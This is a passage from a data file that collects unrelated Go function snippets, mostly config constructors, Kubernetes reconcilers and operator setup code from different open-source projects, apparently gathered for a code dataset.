{\\n\\t\\tlog.Error(err, \\\"Failed to create constants config map in the cluster\\\")\\n\\t\\tos.Exit(1)\\n\\t}\\n\\n\\treturn reconciler\\n}\",\n \"func newConfig(appName string, pathToKeybase string, log Log, ignoreSnooze bool) (*config, error) {\\n\\tcfg := newDefaultConfig(appName, pathToKeybase, log, ignoreSnooze)\\n\\terr := cfg.load()\\n\\treturn &cfg, err\\n}\",\n \"func LoadOperatorConf(cmd *cobra.Command) *Conf {\\n\\tc := &Conf{}\\n\\n\\tc.NS = util.KubeObject(bundle.File_deploy_namespace_yaml).(*corev1.Namespace)\\n\\tc.SA = util.KubeObject(bundle.File_deploy_service_account_yaml).(*corev1.ServiceAccount)\\n\\tc.SAEndpoint = util.KubeObject(bundle.File_deploy_service_account_endpoint_yaml).(*corev1.ServiceAccount)\\n\\tc.SAUI = util.KubeObject(bundle.File_deploy_service_account_ui_yaml).(*corev1.ServiceAccount)\\n\\tc.Role = util.KubeObject(bundle.File_deploy_role_yaml).(*rbacv1.Role)\\n\\tc.RoleEndpoint = util.KubeObject(bundle.File_deploy_role_endpoint_yaml).(*rbacv1.Role)\\n\\tc.RoleUI = util.KubeObject(bundle.File_deploy_role_ui_yaml).(*rbacv1.Role)\\n\\tc.RoleBinding = util.KubeObject(bundle.File_deploy_role_binding_yaml).(*rbacv1.RoleBinding)\\n\\tc.RoleBindingEndpoint = util.KubeObject(bundle.File_deploy_role_binding_endpoint_yaml).(*rbacv1.RoleBinding)\\n\\tc.ClusterRole = util.KubeObject(bundle.File_deploy_cluster_role_yaml).(*rbacv1.ClusterRole)\\n\\tc.ClusterRoleBinding = util.KubeObject(bundle.File_deploy_cluster_role_binding_yaml).(*rbacv1.ClusterRoleBinding)\\n\\tc.Deployment = util.KubeObject(bundle.File_deploy_operator_yaml).(*appsv1.Deployment)\\n\\n\\tc.NS.Name = options.Namespace\\n\\tc.SA.Namespace = options.Namespace\\n\\tc.SAEndpoint.Namespace = options.Namespace\\n\\tc.Role.Namespace = options.Namespace\\n\\tc.RoleEndpoint.Namespace = options.Namespace\\n\\tc.RoleBinding.Namespace = options.Namespace\\n\\tc.RoleBindingEndpoint.Namespace = options.Namespace\\n\\tc.ClusterRole.Namespace = options.Namespace\\n\\tc.Deployment.Namespace = options.Namespace\\n\\n\\tconfigureClusterRole(c.ClusterRole)\\n\\tc.ClusterRoleBinding.Name = c.ClusterRole.Name\\n\\tc.ClusterRoleBinding.RoleRef.Name = c.ClusterRole.Name\\n\\tfor i := range c.ClusterRoleBinding.Subjects {\\n\\t\\tc.ClusterRoleBinding.Subjects[i].Namespace = options.Namespace\\n\\t}\\n\\n\\tc.Deployment.Spec.Template.Spec.Containers[0].Image = options.OperatorImage\\n\\tif options.ImagePullSecret != \\\"\\\" {\\n\\t\\tc.Deployment.Spec.Template.Spec.ImagePullSecrets =\\n\\t\\t\\t[]corev1.LocalObjectReference{{Name: options.ImagePullSecret}}\\n\\t}\\n\\tc.Deployment.Spec.Template.Spec.Containers[1].Image = options.CosiSideCarImage\\n\\n\\treturn c\\n}\",\n \"func newConfig() *Config {\\n\\t// TODO: use config as default, allow setting some values per-job\\n\\t// and prevent config changes affecting already-running tasks\\n\\treturn &Config{\\n\\t\\tPath: DefaultPath,\\n\\t\\tDatastorePrefix: \\\"MP_\\\",\\n\\t\\tDefaultQueue: \\\"\\\",\\n\\t\\tShards: 8,\\n\\t\\tOversampling: 32,\\n\\t\\tLeaseDuration: time.Duration(30) * time.Second,\\n\\t\\tLeaseTimeout: time.Duration(10)*time.Minute + time.Duration(30)*time.Second,\\n\\t\\tTaskTimeout: time.Duration(10)*time.Minute - time.Duration(30)*time.Second,\\n\\t\\tCursorTimeout: time.Duration(50) * time.Second,\\n\\t\\tRetries: 31,\\n\\t\\tLogVerbose: false,\\n\\t\\tHost: \\\"\\\",\\n\\t}\\n}\",\n \"func New(config Config) (*Operator, error) {\\n\\t// Dependencies.\\n\\tif config.BackOff == nil {\\n\\t\\treturn nil, microerror.Maskf(invalidConfigError, \\\"config.BackOff must not be empty\\\")\\n\\t}\\n\\tif config.Framework == nil {\\n\\t\\treturn nil, microerror.Maskf(invalidConfigError, \\\"config.Framework must not be empty\\\")\\n\\t}\\n\\tif config.Informer == nil {\\n\\t\\treturn nil, microerror.Maskf(invalidConfigError, \\\"config.Informer must not be empty\\\")\\n\\t}\\n\\tif config.Logger == nil {\\n\\t\\treturn nil, microerror.Maskf(invalidConfigError, \\\"config.Logger must not be empty\\\")\\n\\t}\\n\\tif config.TPR == nil {\\n\\t\\treturn nil, microerror.Maskf(invalidConfigError, \\\"config.TPR must not be empty\\\")\\n\\t}\\n\\n\\tnewOperator := &Operator{\\n\\t\\t// Dependencies.\\n\\t\\tbackOff: config.BackOff,\\n\\t\\tframework: config.Framework,\\n\\t\\tinformer: config.Informer,\\n\\t\\tlogger: config.Logger,\\n\\t\\ttpr: config.TPR,\\n\\n\\t\\t// Internals\\n\\t\\tbootOnce: sync.Once{},\\n\\t\\tmutex: sync.Mutex{},\\n\\t}\\n\\n\\treturn newOperator, nil\\n}\",\n \"func newReconciler(mgr manager.Manager) reconcile.Reconciler {\\n\\treturn &ReconcileDeploymentConfig{Client: mgr.GetClient(), scheme: mgr.GetScheme()}\\n}\",\n \"func (r *Reconciler) createRestoreConfig(ctx context.Context, postgresCluster *v1beta1.PostgresCluster,\\n\\tconfigHash string) error {\\n\\n\\tpostgresClusterWithMockedBackups := postgresCluster.DeepCopy()\\n\\tpostgresClusterWithMockedBackups.Spec.Backups.PGBackRest.Global = postgresCluster.Spec.\\n\\t\\tDataSource.PGBackRest.Global\\n\\tpostgresClusterWithMockedBackups.Spec.Backups.PGBackRest.Repos = []v1beta1.PGBackRestRepo{\\n\\t\\tpostgresCluster.Spec.DataSource.PGBackRest.Repo,\\n\\t}\\n\\n\\treturn r.reconcilePGBackRestConfig(ctx, postgresClusterWithMockedBackups,\\n\\t\\t\\\"\\\", configHash, \\\"\\\", \\\"\\\", []string{})\\n}\",\n \"func New(cfg Config, k8ssvc k8s.Service, logger log.Logger) operator.Operator {\\n\\tlogger = logger.With(\\\"operator\\\", operatorName)\\n\\n\\thandler := NewHandler(logger)\\n\\tcrd := NewMultiRoleBindingCRD(k8ssvc)\\n\\tctrl := controller.NewSequential(cfg.ResyncDuration, handler, crd, nil, logger)\\n\\treturn operator.NewOperator(crd, ctrl, logger)\\n}\",\n \"func NewTelegrafConfig(clone *Config) *serializers.Config {\\n\\ttc := &serializers.Config{\\n\\t\\tDataFormat: clone.DataFormat,\\n\\t\\tGraphiteTagSupport: clone.GraphiteTagSupport,\\n\\t\\tInfluxMaxLineBytes: clone.InfluxMaxLineBytes,\\n\\t\\tInfluxSortFields: clone.InfluxSortFields,\\n\\t\\tInfluxUintSupport: clone.InfluxUintSupport,\\n\\t\\tPrefix: clone.Prefix,\\n\\t\\tTemplate: clone.Template,\\n\\t\\tTimestampUnits: clone.TimestampUnits,\\n\\t\\tHecRouting: clone.HecRouting,\\n\\t\\tWavefrontSourceOverride: clone.WavefrontSourceOverride,\\n\\t\\tWavefrontUseStrict: clone.WavefrontUseStrict,\\n\\t}\\n\\tif tc.DataFormat == \\\"\\\" {\\n\\t\\ttc.DataFormat = \\\"influx\\\"\\n\\t}\\n\\treturn tc\\n}\",\n \"func newRoadMutation(c config, op Op, opts ...roadOption) *RoadMutation {\\n\\tm := &RoadMutation{\\n\\t\\tconfig: c,\\n\\t\\top: op,\\n\\t\\ttyp: TypeRoad,\\n\\t\\tclearedFields: make(map[string]struct{}),\\n\\t}\\n\\tfor _, opt := range opts {\\n\\t\\topt(m)\\n\\t}\\n\\treturn m\\n}\",\n \"func NewRebalance(state State, gateway Gateway, schema config.Schema, options ...RebalanceOption) *Rebalance {\\n\\topts := newRebalanceOptions()\\n\\topts.state = state\\n\\topts.gateway = gateway\\n\\topts.schema = schema\\n\\tfor _, option := range options {\\n\\t\\toption(opts)\\n\\t}\\n\\n\\treturn &Rebalance{\\n\\t\\tstate: opts.state,\\n\\t\\tgateway: opts.gateway,\\n\\t\\tschema: opts.schema,\\n\\t\\tconfig: opts.config,\\n\\t\\tlogger: opts.logger,\\n\\t\\tclock: opts.clock,\\n\\t}\\n}\",\n \"func newReconciledConfigWatchRoleBinding() *rbacv1.RoleBinding {\\n\\treturn NewConfigWatchRoleBinding(newReconciledServiceAccount())()\\n}\",\n \"func newReconciler(name string, controllerConfig config.DNSServiceConfig) *reconciler {\\n\\treturn &reconciler{\\n\\t\\tEnv: common.NewEnv(name, controllerConfig),\\n\\t}\\n}\",\n \"func setConfigDefaults(interoperatorConfig *InteroperatorConfig) *InteroperatorConfig {\\n\\tif interoperatorConfig.BindingWorkerCount == 0 {\\n\\t\\tinteroperatorConfig.BindingWorkerCount = constants.DefaultBindingWorkerCount\\n\\t}\\n\\tif interoperatorConfig.InstanceWorkerCount == 0 {\\n\\t\\tinteroperatorConfig.InstanceWorkerCount = constants.DefaultInstanceWorkerCount\\n\\t}\\n\\tif interoperatorConfig.SchedulerWorkerCount == 0 {\\n\\t\\tinteroperatorConfig.SchedulerWorkerCount = constants.DefaultSchedulerWorkerCount\\n\\t}\\n\\tif interoperatorConfig.ProvisionerWorkerCount == 0 {\\n\\t\\tinteroperatorConfig.ProvisionerWorkerCount = constants.DefaultProvisionerWorkerCount\\n\\t}\\n\\tif interoperatorConfig.PrimaryClusterID == \\\"\\\" {\\n\\t\\tinteroperatorConfig.PrimaryClusterID = constants.DefaultPrimaryClusterID\\n\\t}\\n\\tif interoperatorConfig.ClusterReconcileInterval == \\\"\\\" {\\n\\t\\tinteroperatorConfig.ClusterReconcileInterval = constants.DefaultClusterReconcileInterval\\n\\t}\\n\\n\\treturn interoperatorConfig\\n}\",\n \"func newDefaultContainerConfig() ContainerConfig {\\n\\treturn ContainerConfig{\\n\\t\\tCPU: newMinMaxAllocation(),\\n\\t\\tMemory: newMinMaxAllocation(),\\n\\t\\tBlockRead: newMinMaxAllocation(),\\n\\t\\tBlockWrite: newMinMaxAllocation(),\\n\\t\\tNetworkRx: newMinMaxAllocation(),\\n\\t\\tNetworkTx: newMinMaxAllocation(),\\n\\t}\\n}\",\n \"func New(conf *Config) Rclone {\\n\\treturn Rclone{config: conf}\\n}\",\n \"func (rm *resourceManager) newUpdateShardConfigurationRequestPayload(\\n\\tr *resource,\\n) (*svcsdk.ModifyReplicationGroupShardConfigurationInput, error) {\\n\\tres := &svcsdk.ModifyReplicationGroupShardConfigurationInput{}\\n\\n\\tres.SetApplyImmediately(true)\\n\\tif r.ko.Spec.ReplicationGroupID != nil {\\n\\t\\tres.SetReplicationGroupId(*r.ko.Spec.ReplicationGroupID)\\n\\t}\\n\\tif r.ko.Spec.NumNodeGroups != nil {\\n\\t\\tres.SetNodeGroupCount(*r.ko.Spec.NumNodeGroups)\\n\\t}\\n\\n\\tnodegroupsToRetain := []*string{}\\n\\n\\t// TODO: optional -only if- NumNodeGroups increases shards\\n\\tif r.ko.Spec.NodeGroupConfiguration != nil {\\n\\t\\tf13 := []*svcsdk.ReshardingConfiguration{}\\n\\t\\tfor _, f13iter := range r.ko.Spec.NodeGroupConfiguration {\\n\\t\\t\\tf13elem := &svcsdk.ReshardingConfiguration{}\\n\\t\\t\\tif f13iter.NodeGroupID != nil {\\n\\t\\t\\t\\tf13elem.SetNodeGroupId(*f13iter.NodeGroupID)\\n\\t\\t\\t\\tnodegroupsToRetain = append(nodegroupsToRetain, &(*f13iter.NodeGroupID))\\n\\t\\t\\t}\\n\\t\\t\\tf13elemf2 := []*string{}\\n\\t\\t\\tif f13iter.PrimaryAvailabilityZone != nil {\\n\\t\\t\\t\\tf13elemf2 = append(f13elemf2, &(*f13iter.PrimaryAvailabilityZone))\\n\\t\\t\\t}\\n\\t\\t\\tif f13iter.ReplicaAvailabilityZones != nil {\\n\\t\\t\\t\\tfor _, f13elemf2iter := range f13iter.ReplicaAvailabilityZones {\\n\\t\\t\\t\\t\\tvar f13elemf2elem string\\n\\t\\t\\t\\t\\tf13elemf2elem = *f13elemf2iter\\n\\t\\t\\t\\t\\tf13elemf2 = append(f13elemf2, &f13elemf2elem)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tf13elem.SetPreferredAvailabilityZones(f13elemf2)\\n\\t\\t\\t}\\n\\t\\t\\tf13 = append(f13, f13elem)\\n\\t\\t}\\n\\t\\tres.SetReshardingConfiguration(f13)\\n\\t}\\n\\n\\t// TODO: optional - only if - NumNodeGroups decreases shards\\n\\t// res.SetNodeGroupsToRemove() or res.SetNodeGroupsToRetain()\\n\\tres.SetNodeGroupsToRetain(nodegroupsToRetain)\\n\\n\\treturn res, nil\\n}\",\n \"func newCompressionForConfig(opt *Options) (*Compression, error) {\\n\\tc, err := NewCompressionPreset(opt.CompressionMode)\\n\\treturn c, err\\n}\",\n \"func defaultConfig() *config {\\n\\treturn &config{\\n\\t\\tOperations: operations{\\n\\t\\t\\tResize: resize{\\n\\t\\t\\t\\tRaw: *resizeDefaults(),\\n\\t\\t\\t},\\n\\t\\t\\tFlip: flip{\\n\\t\\t\\t\\tRaw: *flipDefaults(),\\n\\t\\t\\t},\\n\\t\\t\\tBlur: blur{\\n\\t\\t\\t\\tRaw: *blurDefaults(),\\n\\t\\t\\t},\\n\\t\\t\\tRotate: rotate{\\n\\t\\t\\t\\tRaw: *rotateDefaults(),\\n\\t\\t\\t},\\n\\t\\t\\tCrop: crop{\\n\\t\\t\\t\\tRaw: *cropDefaults(),\\n\\t\\t\\t},\\n\\t\\t\\tLabel: label{\\n\\t\\t\\t\\tRaw: *labelDefaults(),\\n\\t\\t\\t},\\n\\t\\t},\\n\\t\\tExport: export{\\n\\t\\t\\tRaw: *exportDefaults(),\\n\\t\\t},\\n\\t}\\n}\",\n \"func newConfig(old *Config, vars Vars) *Config {\\n\\tv := mergeVars(old.Vars, vars)\\n\\n\\treturn &Config{\\n\\t\\tAppID: old.AppID,\\n\\t\\tVars: v,\\n\\t}\\n}\",\n \"func newConfigMap(configMapName, namespace string, labels map[string]string,\\n\\tkibanaIndexMode, esUnicastHost, rootLogger, nodeQuorum, recoverExpectedShards, primaryShardsCount, replicaShardsCount string) *v1.ConfigMap {\\n\\n\\terr, data := renderData(kibanaIndexMode, esUnicastHost, nodeQuorum, recoverExpectedShards, primaryShardsCount, replicaShardsCount, rootLogger)\\n\\tif err != nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn &v1.ConfigMap{\\n\\t\\tTypeMeta: metav1.TypeMeta{\\n\\t\\t\\tKind: \\\"ConfigMap\\\",\\n\\t\\t\\tAPIVersion: v1.SchemeGroupVersion.String(),\\n\\t\\t},\\n\\t\\tObjectMeta: metav1.ObjectMeta{\\n\\t\\t\\tName: configMapName,\\n\\t\\t\\tNamespace: namespace,\\n\\t\\t\\tLabels: labels,\\n\\t\\t},\\n\\t\\tData: data,\\n\\t}\\n}\",\n \"func newRobberMutation(c config, op Op, opts ...robberOption) *RobberMutation {\\n\\tm := &RobberMutation{\\n\\t\\tconfig: c,\\n\\t\\top: op,\\n\\t\\ttyp: TypeRobber,\\n\\t\\tclearedFields: make(map[string]struct{}),\\n\\t}\\n\\tfor _, opt := range opts {\\n\\t\\topt(m)\\n\\t}\\n\\treturn m\\n}\",\n \"func recreateConfigMapFunc(f *framework.Framework, tc *nodeConfigTestCase) error {\\n\\t// need to ignore NotFound error, since there could be cases where delete\\n\\t// fails during a retry because the delete in a previous attempt succeeded,\\n\\t// before some other error occurred.\\n\\terr := deleteConfigMapFunc(f, tc)\\n\\tif err != nil && !apierrors.IsNotFound(err) {\\n\\t\\treturn err\\n\\t}\\n\\treturn createConfigMapFunc(f, tc)\\n}\",\n \"func (sm *ShardMaster) CreateNewConfig() *Config{\\n\\t// get current config (the last config in config list)\\n\\tsz := len(sm.configs)\\n\\tcurr_config := &sm.configs[sz - 1]\\n\\n\\t// create a new config\\n\\tnew_config := Config{Num: curr_config.Num + 1}\\n\\tnew_config.Groups = make(map[int64][]string)\\n\\n\\t// copy the shards from curr_config\\n\\tfor s, gid := range curr_config.Shards{\\n\\t\\tnew_config.Shards[s] = gid\\n\\t}\\n\\n\\t// copy the group from curr_config\\n\\tfor gid, server := range curr_config.Groups{\\n\\t\\tnew_config.Groups[gid] = server\\n\\t}\\n\\treturn &new_config\\n}\",\n \"func DefaultPromConfig(name string, replica int, remoteWriteEndpoint, ruleFile string, scrapeTargets ...string) string {\\n\\tvar targets string\\n\\tif len(scrapeTargets) > 0 {\\n\\t\\ttargets = strings.Join(scrapeTargets, \\\",\\\")\\n\\t}\\n\\n\\tconfig := fmt.Sprintf(`\\nglobal:\\n external_labels:\\n prometheus: %v\\n replica: %v\\n`, name, replica)\\n\\n\\tif targets != \\\"\\\" {\\n\\t\\tconfig = fmt.Sprintf(`\\n%s\\nscrape_configs:\\n- job_name: 'myself'\\n # Quick scrapes for test purposes.\\n scrape_interval: 1s\\n scrape_timeout: 1s\\n static_configs:\\n - targets: [%s]\\n relabel_configs:\\n - source_labels: ['__address__']\\n regex: '^.+:80$'\\n action: drop\\n`, config, targets)\\n\\t}\\n\\n\\tif remoteWriteEndpoint != \\\"\\\" {\\n\\t\\tconfig = fmt.Sprintf(`\\n%s\\nremote_write:\\n- url: \\\"%s\\\"\\n # Don't spam receiver on mistake.\\n queue_config:\\n min_backoff: 2s\\n max_backoff: 10s\\n`, config, remoteWriteEndpoint)\\n\\t}\\n\\n\\tif ruleFile != \\\"\\\" {\\n\\t\\tconfig = fmt.Sprintf(`\\n%s\\nrule_files:\\n- \\\"%s\\\"\\n`, config, ruleFile)\\n\\t}\\n\\n\\treturn config\\n}\",\n \"func CreateConfigReloader(\\n\\tconfig ReloaderConfig,\\n\\treloadURL url.URL,\\n\\tlistenLocal bool,\\n\\tlocalHost string,\\n\\tlogFormat, logLevel string,\\n\\tadditionalArgs []string,\\n\\tvolumeMounts []v1.VolumeMount,\\n) v1.Container {\\n\\tvar (\\n\\t\\tports []v1.ContainerPort\\n\\t\\targs = make([]string, 0, len(additionalArgs))\\n\\t)\\n\\n\\tvar listenAddress string\\n\\tif listenLocal {\\n\\t\\tlistenAddress = localHost\\n\\t} else {\\n\\t\\tports = append(\\n\\t\\t\\tports,\\n\\t\\t\\tv1.ContainerPort{\\n\\t\\t\\t\\tName: \\\"reloader-web\\\",\\n\\t\\t\\t\\tContainerPort: configReloaderPort,\\n\\t\\t\\t\\tProtocol: v1.ProtocolTCP,\\n\\t\\t\\t},\\n\\t\\t)\\n\\t}\\n\\targs = append(args, fmt.Sprintf(\\\"--listen-address=%s:%d\\\", listenAddress, configReloaderPort))\\n\\n\\targs = append(args, fmt.Sprintf(\\\"--reload-url=%s\\\", reloadURL.String()))\\n\\n\\tif logLevel != \\\"\\\" && logLevel != \\\"info\\\" {\\n\\t\\targs = append(args, fmt.Sprintf(\\\"--log-level=%s\\\", logLevel))\\n\\t}\\n\\n\\tif logFormat != \\\"\\\" && logFormat != \\\"logfmt\\\" {\\n\\t\\targs = append(args, fmt.Sprintf(\\\"--log-format=%s\\\", logFormat))\\n\\t}\\n\\n\\tfor i := range additionalArgs {\\n\\t\\targs = append(args, additionalArgs[i])\\n\\t}\\n\\n\\tresources := v1.ResourceRequirements{\\n\\t\\tLimits: v1.ResourceList{},\\n\\t\\tRequests: v1.ResourceList{},\\n\\t}\\n\\tif config.CPU != \\\"0\\\" {\\n\\t\\tresources.Limits[v1.ResourceCPU] = resource.MustParse(config.CPU)\\n\\t\\tresources.Requests[v1.ResourceCPU] = resource.MustParse(config.CPU)\\n\\t}\\n\\tif config.Memory != \\\"0\\\" {\\n\\t\\tresources.Limits[v1.ResourceMemory] = resource.MustParse(config.Memory)\\n\\t\\tresources.Requests[v1.ResourceMemory] = resource.MustParse(config.Memory)\\n\\t}\\n\\n\\treturn v1.Container{\\n\\t\\tName: \\\"config-reloader\\\",\\n\\t\\tImage: config.Image,\\n\\t\\tTerminationMessagePolicy: v1.TerminationMessageFallbackToLogsOnError,\\n\\t\\tEnv: []v1.EnvVar{\\n\\t\\t\\t{\\n\\t\\t\\t\\tName: \\\"POD_NAME\\\",\\n\\t\\t\\t\\tValueFrom: &v1.EnvVarSource{\\n\\t\\t\\t\\t\\tFieldRef: &v1.ObjectFieldSelector{FieldPath: \\\"metadata.name\\\"},\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t},\\n\\t\\tCommand: []string{\\\"/bin/prometheus-config-reloader\\\"},\\n\\t\\tArgs: args,\\n\\t\\tPorts: ports,\\n\\t\\tVolumeMounts: volumeMounts,\\n\\t\\tResources: resources,\\n\\t}\\n}\",\n \"func newConfigV1() *configV1 {\\n\\tconf := new(configV1)\\n\\tconf.Version = mcPreviousConfigVersion\\n\\t// make sure to allocate map's otherwise Golang\\n\\t// exits silently without providing any errors\\n\\tconf.Hosts = make(map[string]*hostConfig)\\n\\tconf.Aliases = make(map[string]string)\\n\\treturn conf\\n}\",\n \"func (r *ResUnstructured) newUnstructured(object map[string]interface{}) *unstructured.Unstructured {\\n\\tu := &unstructured.Unstructured{}\\n\\tu.Object = object\\n\\n\\tu.SetGroupVersionKind(schema.GroupVersionKind{\\n\\t\\tGroup: r.group,\\n\\t\\tKind: r.kind,\\n\\t\\tVersion: r.version,\\n\\t})\\n\\n\\tu.SetName(r.name)\\n\\tu.SetNamespace(r.namespace)\\n\\treturn u\\n}\",\n \"func newConfig() (*config, error) {\\n\\tec2Metadata := ec2metadata.New(session.Must(session.NewSession()))\\n\\tregion, err := ec2Metadata.Region()\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrapf(err, \\\"unable to get region from ec2 metadata\\\")\\n\\t}\\n\\n\\tinstanceID, err := ec2Metadata.GetMetadata(\\\"instance-id\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrapf(err, \\\"unable to get instance id from ec2 metadata\\\")\\n\\t}\\n\\n\\tmac, err := ec2Metadata.GetMetadata(\\\"mac\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrapf(err, \\\"unable to get mac from ec2 metadata\\\")\\n\\t}\\n\\n\\tsecurityGroups, err := ec2Metadata.GetMetadata(\\\"security-groups\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrapf(err, \\\"unable to get security groups from ec2 metadata\\\")\\n\\t}\\n\\n\\tinterfaces, err := ec2Metadata.GetMetadata(\\\"network/interfaces/macs\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrapf(err, \\\"unable to get interfaces from ec2 metadata\\\")\\n\\t}\\n\\n\\tsubnet, err := ec2Metadata.GetMetadata(\\\"network/interfaces/macs/\\\" + mac + \\\"/subnet-id\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrapf(err, \\\"unable to get subnet from ec2 metadata\\\")\\n\\t}\\n\\n\\tvpc, err := ec2Metadata.GetMetadata(\\\"network/interfaces/macs/\\\" + mac + \\\"/vpc-id\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrapf(err, \\\"unable to get vpc from ec2 metadata\\\")\\n\\t}\\n\\n\\treturn &config{region: region,\\n\\t\\tsubnet: subnet,\\n\\t\\tindex: int64(len(strings.Split(interfaces, \\\"\\\\n\\\"))),\\n\\t\\tinstanceID: instanceID,\\n\\t\\tsecurityGroups: strings.Split(securityGroups, \\\"\\\\n\\\"),\\n\\t\\tvpc: vpc,\\n\\t}, nil\\n}\",\n \"func newReconciler(mgr manager.Manager) reconcile.Reconciler {\\n\\treturn &ReconcileParameterStore{client: mgr.GetClient(), scheme: mgr.GetScheme()}\\n}\",\n \"func NewRepacker(repo *repository.Repository, unusedBlobs backend.IDSet) *Repacker {\\n\\treturn &Repacker{\\n\\t\\trepo: repo,\\n\\t\\tunusedBlobs: unusedBlobs,\\n\\t}\\n}\",\n \"func makeZoneConfig(options tree.KVOptions) *zonepb.ZoneConfig {\\n\\tzone := &zonepb.ZoneConfig{}\\n\\tfor i := range options {\\n\\t\\tswitch options[i].Key {\\n\\t\\tcase \\\"constraints\\\":\\n\\t\\t\\tconstraintsList := &zonepb.ConstraintsList{}\\n\\t\\t\\tvalue := options[i].Value.(*tree.StrVal).RawString()\\n\\t\\t\\tif err := yaml.UnmarshalStrict([]byte(value), constraintsList); err != nil {\\n\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t}\\n\\t\\t\\tzone.Constraints = constraintsList.Constraints\\n\\n\\t\\tcase \\\"voter_constraints\\\":\\n\\t\\t\\tconstraintsList := &zonepb.ConstraintsList{}\\n\\t\\t\\tvalue := options[i].Value.(*tree.StrVal).RawString()\\n\\t\\t\\tif err := yaml.UnmarshalStrict([]byte(value), constraintsList); err != nil {\\n\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t}\\n\\t\\t\\tzone.VoterConstraints = constraintsList.Constraints\\n\\t\\t\\tzone.NullVoterConstraintsIsEmpty = true\\n\\n\\t\\tcase \\\"lease_preferences\\\":\\n\\t\\t\\tvalue := options[i].Value.(*tree.StrVal).RawString()\\n\\t\\t\\tif err := yaml.UnmarshalStrict([]byte(value), &zone.LeasePreferences); err != nil {\\n\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn zone\\n}\",\n \"func newStorageConfigFromConfigMap(ctx context.Context, configMap *corev1.ConfigMap, c client.Reader, ns string) (*StorageConfig, error) {\\n\\tvar sc StorageConfig\\n\\thasDefault := false\\n\\tfor k, v := range configMap.Data {\\n\\t\\tvar bc BucketConfig\\n\\t\\terr := yaml.Unmarshal([]byte(v), &bc)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tbc.fixEndpoint()\\n\\t\\tbc.isDefault = k == \\\"default\\\"\\n\\n\\t\\t// Try loading the secret\\n\\t\\tvar secret corev1.Secret\\n\\t\\tkey := client.ObjectKey{\\n\\t\\t\\tName: bc.SecretName,\\n\\t\\t\\tNamespace: configMap.GetNamespace(),\\n\\t\\t}\\n\\t\\tif err := c.Get(ctx, key, &secret); err != nil {\\n\\t\\t\\treturn nil, maskAny(err)\\n\\t\\t}\\n\\t\\tif raw, found := secret.Data[constants.SecretKeyS3AccessKey]; found {\\n\\t\\t\\tbc.accessKey = string(raw)\\n\\t\\t} else {\\n\\t\\t\\treturn nil, maskAny(fmt.Errorf(\\\"Config %#v refers to Secret '%s' that has no '%s' field\\\", configMap.Data, bc.SecretName, constants.SecretKeyS3AccessKey))\\n\\t\\t}\\n\\t\\tif raw, found := secret.Data[constants.SecretKeyS3SecretKey]; found {\\n\\t\\t\\tbc.secretKey = string(raw)\\n\\t\\t} else {\\n\\t\\t\\treturn nil, maskAny(fmt.Errorf(\\\"Config %#v refers to Secret '%s' that has no '%s' field\\\", configMap.Data, bc.SecretName, constants.SecretKeyS3SecretKey))\\n\\t\\t}\\n\\n\\t\\t// Add to config\\n\\t\\thasDefault = hasDefault || bc.isDefault\\n\\t\\tsc.Buckets = append(sc.Buckets, bc)\\n\\t}\\n\\tif !hasDefault {\\n\\t\\treturn nil, maskAny(fmt.Errorf(\\\"Config %#v must have a default bucket\\\", configMap.Data))\\n\\t}\\n\\tsort.Slice(sc.Buckets, func(i, j int) bool {\\n\\t\\ta, b := sc.Buckets[i], sc.Buckets[j]\\n\\t\\tif a.isDefault && !b.isDefault {\\n\\t\\t\\treturn true\\n\\t\\t}\\n\\t\\tif !a.isDefault && b.isDefault {\\n\\t\\t\\treturn false\\n\\t\\t}\\n\\t\\treturn strings.Compare(a.Name, b.Name) < 0\\n\\t})\\n\\treturn &sc, nil\\n}\",\n \"func populateConfig(c Config) Config {\\n\\tif c.MaxBody <= 0 {\\n\\t\\tlog.Println(\\\"MAX_BODY unspecified. Defaulting to 5kb\\\")\\n\\t\\tc.MaxBody = 5 * 1024\\n\\t}\\n\\tif c.Endpoint == \\\"\\\" {\\n\\t\\tlog.Println(\\\"ENDPOINT unspecified. Defaulting to ':8080'\\\")\\n\\t\\tc.Endpoint = \\\":8080\\\"\\n\\t}\\n\\tif c.DefaultInterval == 0 {\\n\\t\\tlog.Println(\\\"DEFAULT_INTERVAL unspecified. Defaulting to '60s'\\\")\\n\\t\\tc.DefaultInterval = 60\\n\\t}\\n\\treturn c\\n}\",\n \"func New(config *interface{}) {\\n\\tv := reflect.ValueOf(*config)\\n\\tfieldCount := v.NumField()\\n\\n\\tfor i := 0; i < fieldCount; i++ {\\n\\t\\tswitch v.Field(i).Kind() {\\n\\t\\tcase reflect.Int:\\n\\t\\t\\tval := reflect.ValueOf(getIntFromEnv(v.Field(i).Type().Name()))\\n\\t\\t\\tv.Field(i).Set(val)\\n\\t\\tcase reflect.String:\\n\\t\\t\\tval := reflect.ValueOf(getStringFromEnv(v.Field(i).Type().Name()))\\n\\t\\t\\tv.Field(i).Set(val)\\n\\t\\tcase reflect.Bool:\\n\\t\\t\\tval := reflect.ValueOf(getBoolFromEnv(v.Field(i).Type().Name()))\\n\\t\\t\\tv.Field(i).Set(val)\\n\\t\\tdefault:\\n\\t\\t\\tlog.Fatalf(\\\"error building config -- %s is not of an acceptable type\\\", v.Field(i).Type().Name())\\n\\t\\t}\\n\\t}\\n}\",\n \"func newReconciler(mgr manager.Manager) reconcile.Reconciler {\\n\\treturn &ReconcileConfigMap{client: mgr.GetClient(), scheme: mgr.GetScheme()}\\n}\",\n \"func newConfig(opts ...Option) config {\\n\\tc := config{\\n\\t\\tMeterProvider: otel.GetMeterProvider(),\\n\\t}\\n\\tfor _, opt := range opts {\\n\\t\\topt.apply(&c)\\n\\t}\\n\\treturn c\\n}\",\n \"func fillDefaults(egw *operatorv1.EgressGateway, installation *operatorv1.InstallationSpec) 